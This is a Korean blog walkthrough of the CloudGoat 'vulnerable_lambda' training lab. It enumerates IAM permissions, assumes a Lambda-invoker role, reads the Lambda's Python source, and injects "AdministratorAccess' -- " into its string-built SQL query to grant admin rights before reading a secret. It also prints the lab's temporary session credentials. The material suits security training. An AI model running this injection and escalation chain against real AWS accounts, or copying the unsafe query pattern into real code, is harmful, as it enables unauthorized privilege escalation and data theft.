반응형

 

 

  문제 URL 경로

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/vulnerable_lambda/README.md

 

cloudgoat/cloudgoat/scenarios/aws/vulnerable_lambda/README.md at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

 

 

 

  문제 설명

1) you start as the 'bilbo' user
2) You will assume a role with more privileges
3) discover a lambda function that applies policies to users
4) and exploit a vulnerability in the function to escalate the privileges of the bilbo user in order to search for secrets.

 

문제설명 페이지

 

 

  문제 풀이

0. 환경 구성

#---------- 0. 환경설정 ----------
cloudgoat create vulnerable_lambda --profile cloudgoat
cat start.txt
cloudgoat_output_aws_account_id = 739275444311
cloudgoat_output_bilbo_access_key_id = <bilbo_access_key_id>
cloudgoat_output_bilbo_secret_key = <bilbo_secret_key>
profile = cloudgoat
scenario_cg_id = cgid2bx1fsjdcs

### 프로파일 생성 ###
aws configure --profile vulnerable_lambda

 

 

 

1. 현재 소유 권한 분석

현재 가지고 있는 소유 권한을 분석해보면 아래와 같습니다.

이를 통해 sts:AssumeRole을 이용하여 역할 전환 할 수 있음을 파악할 수 있습니다.

# ---------- 1. 현재 소유 권한 분석 ----------
###  계정 리스트 확인 ###
aws iam list-users --profile vulnerable_lambda | grep cgid2bx1fsjdcs
{
	"Path": "/",
	"UserName": "cg-bilbo-cgid2bx1fsjdcs",
	"UserId": "AIDA2YICACBL6J4VJJ5WY",
	"Arn": "arn:aws:iam::739275444311:user/cg-bilbo-cgid2bx1fsjdcs",
	"CreateDate": "2025-04-11T00:41:57Z"
}

### 그룹 확인 ###
aws iam list-groups --profile vulnerable_lambda | grep cgid2bx1fsjdcs

###  정책 리스트 확인 ###
aws iam list-policies --profile vulnerable_lambda | grep cgid2bx1fsjdcs
aws iam list-policies --profile vulnerable_lambda | grep bilbo
aws iam list-policies --profile vulnerable_lambda | grep lambda

### <user> 에게 적용된 AWS 관리 정책 ###
aws iam list-attached-user-policies \
    --user-name cg-bilbo-cgid2bx1fsjdcs \
    --profile vulnerable_lambda
{
    "AttachedPolicies": []
}

### <user> 에게 적용된 Inline 정책 ###
aws iam list-user-policies \
    --user-name cg-bilbo-cgid2bx1fsjdcs \
    --profile vulnerable_lambda
{
    "PolicyNames": [
        "cg-bilbo-cgid2bx1fsjdcs-standard-user-assumer"
    ]
}

### <user> 에게 적용된 Inline 정책 (확인) ###
aws iam get-user-policy \
    --policy-name cg-bilbo-cgid2bx1fsjdcs-standard-user-assumer \
    --user-name cg-bilbo-cgid2bx1fsjdcs \
    --profile vulnerable_lambda
{
    "UserName": "cg-bilbo-cgid2bx1fsjdcs",
    "PolicyName": "cg-bilbo-cgid2bx1fsjdcs-standard-user-assumer",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "sts:AssumeRole",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::940877411605:role/cg-lambda-invoker*",
                "Sid": ""
            },
            {
                "Action": [
                    "iam:Get*",
                    "iam:List*",
                    "iam:SimulateCustomPolicy",
                    "iam:SimulatePrincipalPolicy"
                ],
                "Effect": "Allow",
                "Resource": "*",
                "Sid": ""
            }
        ]
    }
}

### 역할 리스트 ###
aws iam list-roles \
    --profile vulnerable_lambda | grep cgid2bx1fsjdcs
# 출력결과
"RoleName": "cg-lambda-invoker-cgid2bx1fsjdcs",
"Arn": "arn:aws:iam::739275444311:role/cg-lambda-invoker-cgid2bx1fsjdcs",
"RoleName": "cgid2bx1fsjdcs-policy_applier_lambda1",
"Arn": "arn:aws:iam::739275444311:role/cgid2bx1fsjdcs-policy_applier_lambda1",

### 역할1 확인 ###
aws iam get-role \
    --role-name cg-lambda-invoker-cgid2bx1fsjdcs \
    --profile vulnerable_lambda
{
    "Role": {
        "Path": "/",
        "RoleName": "cg-lambda-invoker-cgid2bx1fsjdcs",
        "RoleId": "AROA2YICACBLWL3YA3LZU",
        "Arn": "arn:aws:iam::739275444311:role/cg-lambda-invoker-cgid2bx1fsjdcs",
        "CreateDate": "2025-04-11T00:42:13Z",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "",
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::739275444311:user/cg-bilbo-cgid2bx1fsjdcs"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "MaxSessionDuration": 3600,
        "Tags": [
            {
                "Key": "Name",
                "Value": "cg-cgid2bx1fsjdcs"
            },
            {
                "Key": "Scenario",
                "Value": "vulnerable-lambda"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ],
        "RoleLastUsed": {}
    }
}

### 역할1에 붙은 Managed 정책 확인 ###
aws iam list-attached-role-policies \
    --role-name cg-lambda-invoker-cgid2bx1fsjdcs \
    --profile vulnerable_lambda
{
    "AttachedPolicies": []
}

### 역할1에 붙은 inline 정책 (cg-lambda-invoker-cgid2bx1fsjdcs) ###
aws iam list-role-policies \
--role-name cg-lambda-invoker-cgid2bx1fsjdcs \
--profile vulnerable_lambda
{
    "PolicyNames": [
        "lambda-invoker"
    ]
}

### 역할1 정책 확인 - lambda-invoker ###
aws iam get-role-policy \
    --role-name cg-lambda-invoker-cgid2bx1fsjdcs \
    --policy-name lambda-invoker \
    --profile vulnerable_lambda
{
    "RoleName": "cg-lambda-invoker-cgid2bx1fsjdcs",
    "PolicyName": "lambda-invoker",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "lambda:ListFunctionEventInvokeConfigs",
                    "lambda:InvokeFunction",
                    "lambda:ListTags",
                    "lambda:GetFunction",
                    "lambda:GetPolicy"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:lambda:us-east-1:739275444311:function:cgid2bx1fsjdcs-policy_applier_lambda1"
            },
            {
                "Action": [
                    "lambda:ListFunctions",
                    "iam:Get*",
                    "iam:List*",
                    "iam:SimulateCustomPolicy",
                    "iam:SimulatePrincipalPolicy"
                ],
                "Effect": "Allow",
                "Resource": "*"
            }
        ]
    }
}


### 역할2 확인 ###
aws iam get-role \
    --role-name cgid2bx1fsjdcs-policy_applier_lambda1 \
    --profile vulnerable_lambda
{
    "Role": {
        "Path": "/",
        "RoleName": "cgid2bx1fsjdcs-policy_applier_lambda1",
        "RoleId": "AROA2YICACBLYTYJDP54S",
        "Arn": "arn:aws:iam::739275444311:role/cgid2bx1fsjdcs-policy_applier_lambda1",
        "CreateDate": "2025-04-11T00:41:58Z",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "",
                    "Effect": "Allow",
                    "Principal": {
                        "Service": "lambda.amazonaws.com"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "MaxSessionDuration": 3600,
        "Tags": [
            {
                "Key": "Name",
                "Value": "cg-cgid2bx1fsjdcs"
            },
            {
                "Key": "Scenario",
                "Value": "vulnerable-lambda"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ],
        "RoleLastUsed": {}
    }
}

### 역할2에 붙은 Managed 정책 확인 ###
aws iam list-attached-role-policies \
    --role-name cgid2bx1fsjdcs-policy_applier_lambda1 \
    --profile vulnerable_lambda
{
    "AttachedPolicies": []
}


### 역할2에 붙은 inline 정책 (cgid2bx1fsjdcs-policy_applier_lambda1) ###
aws iam list-role-policies \
--role-name cgid2bx1fsjdcs-policy_applier_lambda1 \
--profile vulnerable_lambda
{
    "PolicyNames": [
        "policy_applier_lambda1"
    ]
}

### 역할2 정책 확인 - policy_applier_lambda1 ###
aws iam get-role-policy \
    --role-name cgid2bx1fsjdcs-policy_applier_lambda1 \
    --policy-name policy_applier_lambda1 \
    --profile vulnerable_lambda
{
    "RoleName": "cgid2bx1fsjdcs-policy_applier_lambda1",
    "PolicyName": "policy_applier_lambda1",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "iam:AttachUserPolicy",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::739275444311:user/cg-bilbo-cgid2bx1fsjdcs"
            },
            {
                "Action": [
                    "logs:CreateLogStream",
                    "logs:PutLogEvents"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:logs:us-east-1:739275444311:log-group:/aws/lambda/cgid2bx1fsjdcs-policy_applier_lambda1:*"
            }
        ]
    }
}

### 940877411605 계정 lambda-invoker 역할 전환 ###
aws sts assume-role \
    --role-arn arn:aws:iam::940877411605:role/cg-lambda-invoker-cgid2bx1fsjdcs \
    --role-session-name Test1 \
    --profile vulnerable_lambda

# 출력결과
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::739275444311:user/cg-bilbo-cgid2bx1fsjdcs is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::940877411605:role/cg-lambda-invoker-cgid2bx1fsjdcs


### 739275444311 계정 lambda-invoker 역할 전환 ###
aws sts assume-role \
    --role-arn arn:aws:iam::739275444311:role/cg-lambda-invoker-cgid2bx1fsjdcs \
    --role-session-name Test2 \
    --profile vulnerable_lambda
{
    "Credentials": {
        "AccessKeyId": "ASIA2YICACBL7GNYOXPD",
        "SecretAccessKey": "qZBOeg8tWlH30LHDm5UqNMLhEfvmzSaB8uQt+ZLm",
        "SessionToken": "IQoJb3JpZ2luX2VjEIb//////////wEaCXVzLWVhc3QtMSJGMEQCIHPto/rksY1wZFBikuujeYQpokzt7u9s7KCxyb/2byO4AiAtQoKRL/wCRVOOhNlBl7XPOHeGfBTI3sRfycYm0Cl92yqbAgj///////////8BEAAaDDczOTI3NTQ0NDMxMSIMskKlt7o5PVlnu0IiKu8BtwohQouZd/vQlBhf/Z+nUby15JnYgxXKWmhVL1QicDRJpkLtgkntAqmmLQuTyLRb/FHXp3BcwMRnuSmxCqxFVvmG6PI6QARwFLOvbGGxfGM8gFbzM5AiIQof4FmE6tpt5NUUHtJNK0sa1n4ow1iNoJiFtCYCLkAByWtk2ufBT251mepdTVDb6Xn5HqNn/M7EWKXxYSYfxL7Oi1TJgz+G9qDzOhg/lXWiwsiYMzaw8EWESURtWbnrTA1JjoGDbTVK7B35hjOnj1JgLrjEUkZ5HE40Ol2RH4HHyuhRYdD+RVHVWDG+R8RYyEUF1acc/yUwsLfyvwY6ngHLd96AOBzGFbMFAu020BVMSlJnhq8f4Dg/RQWj4HF3nfuCr+F6nZkwdeu0qvmPj8zC+74Gb+jVomxGo/WusMR4JOIQZLSNGBcxsTLLhEwgV3GZWUeUpfaLubPH8K2GjFr97nbw8Z0r5nkuzuz0VWDk/Og2bh+jQI2JxdSQ0Hbb3Jj0h5ERtaa4nY5cF4Cl4D9pE7QfsZgq5qdW2JyUTg==",
        "Expiration": "2025-04-14T06:22:56+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROA2YICACBL6YEKWBZRX:Test2",
        "Arn": "arn:aws:sts::739275444311:assumed-role/cg-lambda-invoker-cgid2bx1fsjdcs/Test2"
    }
}

 

 

 

2. 역할 전환 후 Lambda 접근

역할 전환 이후 얻은 권한으로 Lambda에 접근합니다.

### 역할 전환에 따른 새로운 프로파일 생성 ###
aws configure set --profile <profile_name> aws_access_key_id <aws_access_key_id>
aws configure set --profile <profile_name> aws_secret_access_key <aws_secret_access_key>
aws configure set --profile <profile_name> aws_session_token  <aws_session_token>

### lambda 함수 확인 ###
aws lambda list-functions \
	--profile lambda-invoker
{
    "Functions": [
        {
            "FunctionName": "cgid2bx1fsjdcs-policy_applier_lambda1",
            "FunctionArn": "arn:aws:lambda:us-east-1:739275444311:function:cgid2bx1fsjdcs-policy_applier_lambda1",
            "Runtime": "python3.9",
            "Role": "arn:aws:iam::739275444311:role/cgid2bx1fsjdcs-policy_applier_lambda1",
            "Handler": "main.handler",
            "CodeSize": 1515773,
            "Description": "This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2025-04-12T01:50:08.735+0000",
            "CodeSha256": "WrQlXmLzMDqjmFLHc5bkjmjlARW/PgzS7RGeW85WbDI=",
            "Version": "$LATEST",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "eb170973-7b56-48e3-b98b-1025686048aa",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            },
            "LoggingConfig": {
                "LogFormat": "Text",
                "LogGroup": "/aws/lambda/cgid2bx1fsjdcs-policy_applier_lambda1"
            }
        }
    ]
}


### 함수 사용법을 위해 Lambda 코드 확인###
aws lambda get-function \
    --function-name  cgid2bx1fsjdcs-policy_applier_lambda1 \
	--profile lambda-invoker
{
    "Configuration": {
        "FunctionName": "cgid2bx1fsjdcs-policy_applier_lambda1",
        "FunctionArn": "arn:aws:lambda:us-east-1:739275444311:function:cgid2bx1fsjdcs-policy_applier_lambda1",
        "Runtime": "python3.9",
        "Role": "arn:aws:iam::739275444311:role/cgid2bx1fsjdcs-policy_applier_lambda1",
        "Handler": "main.handler",
        "CodeSize": 1515773,
        "Description": "This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...",
        "Timeout": 3,
        "MemorySize": 128,
        "LastModified": "2025-04-12T01:50:08.735+0000",
        "CodeSha256": "WrQlXmLzMDqjmFLHc5bkjmjlARW/PgzS7RGeW85WbDI=",
        "Version": "$LATEST",
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "eb170973-7b56-48e3-b98b-1025686048aa",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip",
        "Architectures": [
            "x86_64"
        ],
        "EphemeralStorage": {
            "Size": 512
        },
        "SnapStart": {
            "ApplyOn": "None",
            "OptimizationStatus": "Off"
        },
        "RuntimeVersionConfig": {
            "RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:d6dc717114b06da7d4b5a2df328222709ec4fad2853004fac301b8b63a65c084"
        },
        "LoggingConfig": {
            "LogFormat": "Text",
            "LogGroup": "/aws/lambda/cgid2bx1fsjdcs-policy_applier_lambda1"
        }
    },
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/739275444311/cgid2bx1fsjdcs-policy_applier_lambda1-80679360-e210-4a9c-a160-1b22dfdaf277?versionId=GhMhCfHgv3dlzPmVNK_Fi.JklcCM7.d8&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEH0aCXVzLWVhc3QtMSJIMEYCIQD9JwRHHBfqLsF7WOfGbpiLhTLzHsPtMIIA%2F8fGPL048QIhAPR%2Ft1GJNJNrq8GAKVzZQwjg7ECS043ECOABGPjiT0PHKpICCPX%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQABoMNzQ5Njc4OTAyODM5IgxckJ1oMMvZW2Tp81Aq5gF2i5rKd4OuzuVcrcAm4IThkIh0EHpwGQiRvn1J7OpQyyUTZgxmo%2BgA0dTQcJA%2BaJAzVmuxiJwaTcwoHekXT%2FPVf9nDJ%2BE7aSQUovIXVoOWWAu3HI0yGtWH6sERb7rWbquGH63ltf%2Fi%2BJ3C6Krfe%2FOEzDwRqBhuwjIIIyJsW7cVza8KXAccj6H10PBvFZhQdTnqN0tgG0xkl3DDtmkm1%2FgapLgNsAxApvdUY0faR4R0%2BXZKi%2BQ0meZ2ky5Kn7SVN9iaOuxyiBDY3Np88ZwjC0Ni7u2CpZHuS6uiLi0E0VyMVJxJJ1rY2DDks%2FC%2FBjqOAfDa5qe%2FENuInbaTDGtTffXKK4nkem1GH9233Hrd%2FijG6xXDpmTrPBcz46qPn%2FJrZ9DBFZppFpRnI8%2BjY9zyDb2EQwaqXm4sZRvfSz4yw6hS8%2F99yFXkDC8PkcuKIN6HnlomHlnJDY7THjzhnxLF5AR3WnsgEfLDnSADTIkpAwqYwJZm88rtY52L0NjYEjM%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20250414T052331Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIA25DCYHY32XA3KBKX%2F20250414%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=32989a15d4ffe57a59b46404cc27ffa545ce02ff7bc6327a8f8f0685ec7ca47f"
    },
    "Tags": {
        "Name": "cg-cgid2bx1fsjdcs",
        "Scenario": "vulnerable-lambda",
        "Stack": "CloudGoat"
    }
}

 

 

 

3. Lambda 코드 분석

main.py 소스코드를 분석하여 이 소스의 취약점을 공략합니다.

# main.py

import boto3
from sqlite_utils import Database

db = Database("my_database.db")
iam_client = boto3.client('iam')


# db["policies"].insert_all([
#     {"policy_name": "AmazonSNSReadOnlyAccess", "public": 'True'}, 
#     {"policy_name": "AmazonRDSReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AWSLambda_ReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AmazonS3ReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AmazonGlacierReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AmazonRoute53DomainsReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AdministratorAccess", "public": 'False'}
# ])


def handler(event, context):
    target_policys = event['policy_names']
    user_name = event['user_name']
    print(f"target policys are : {target_policys}")

    for policy in target_policys:
        statement_returns_valid_policy = False
        statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
        for row in db.query(statement):
            statement_returns_valid_policy = True
            print(f"applying {row['policy_name']} to {user_name}")
            response = iam_client.attach_user_policy(
                UserName=user_name,
                PolicyArn=f"arn:aws:iam::aws:policy/{row['policy_name']}"
            )
            print("result: " + str(response['ResponseMetadata']['HTTPStatusCode']))

        if not statement_returns_valid_policy:
            invalid_policy_statement = f"{policy} is not an approved policy, please only choose from approved " \
                                       f"policies and don't cheat. :) "
            print(invalid_policy_statement)
            return invalid_policy_statement

    return "All managed policies were applied as expected."


if __name__ == "__main__":
    payload = {
        "policy_names": [
            "AmazonSNSReadOnlyAccess",
            "AWSLambda_ReadOnlyAccess"
        ],
        "user_name": "cg-bilbo-user"
    }
    print(handler(payload, 'uselessinfo'))

 

 

4. Exploit 이후 Secret 확인

payload.json에 AdministratorAccess 뒤를 주석 처리하여 검증을 무력화 하고

이후 Lambda 함수를 실행합니다.

### Bilbo 사용자에게 권한 추가 ###
# payload.json
{"policy_names": ["AdministratorAccess' -- "], "user_name": "cg-bilbo-cgid2bx1fsjdcs"}

### Lambda 함수 실행 ###
aws lambda invoke \
    --function-name cgid2bx1fsjdcs-policy_applier_lambda1 \
    --cli-binary-format raw-in-base64-out \
    --payload file://payload.json \
    response.json \
	--profile lambda-invoker

### <user> 에게 적용된 AWS 관리 정책 ###
aws iam list-attached-user-policies \
    --user-name cg-bilbo-cgid2bx1fsjdcs \
    --profile vulnerable_lambda
{
    "AttachedPolicies": [
        {
            "PolicyName": "AmazonSNSReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AmazonSNSReadOnlyAccess"
        },
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        },
        {
            "PolicyName": "AmazonGlacierReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AmazonGlacierReadOnlyAccess"
        },
        {
            "PolicyName": "AmazonRDSReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AmazonRDSReadOnlyAccess"
        },
        {
            "PolicyName": "AmazonS3ReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess"
        },
        {
            "PolicyName": "AmazonRoute53DomainsReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AmazonRoute53DomainsReadOnlyAccess"
        },
        {
            "PolicyName": "AWSLambda_ReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AWSLambda_ReadOnlyAccess"
        }
    ]
}


###  Secret 리스트 조회 ###
aws secretsmanager list-secrets \
	--profile vulnerable_lambda
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:739275444311:secret:cgid2bx1fsjdcs-final_flag-paxlge",
            "Name": "cgid2bx1fsjdcs-final_flag",
            "LastChangedDate": "2025-04-12T10:50:01.736000+09:00",
            "LastAccessedDate": "2025-04-12T09:00:00+09:00",
            "Tags": [
                {
                    "Key": "Name",
                    "Value": "cg-cgid2bx1fsjdcs"
                },
                {
                    "Key": "Scenario",
                    "Value": "vulnerable-lambda"
                },
                {
                    "Key": "Stack",
                    "Value": "CloudGoat"
                }
            ],
            "SecretVersionsToStages": {
                "terraform-20250412015001367600000002": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2025-04-12T10:49:59.853000+09:00"
        }
    ]
}

### Secret 확인 ###
aws secretsmanager get-secret-value \
    --secret-id cgid2bx1fsjdcs-final_flag \
	--profile vulnerable_lambda
{
    "ARN": "arn:aws:secretsmanager:us-east-1:739275444311:secret:cgid2bx1fsjdcs-final_flag-paxlge",
    "Name": "cgid2bx1fsjdcs-final_flag",
    "VersionId": "terraform-20250412015001367600000002",
    "SecretString": "cg-secret-846237-284529",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2025-04-12T10:50:01.732000+09:00"
}

 

 

  보안 개선 방안

1. Lambda 함수에 권한 최소화

 

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

caul334@gmail.com

반응형

+ Recent posts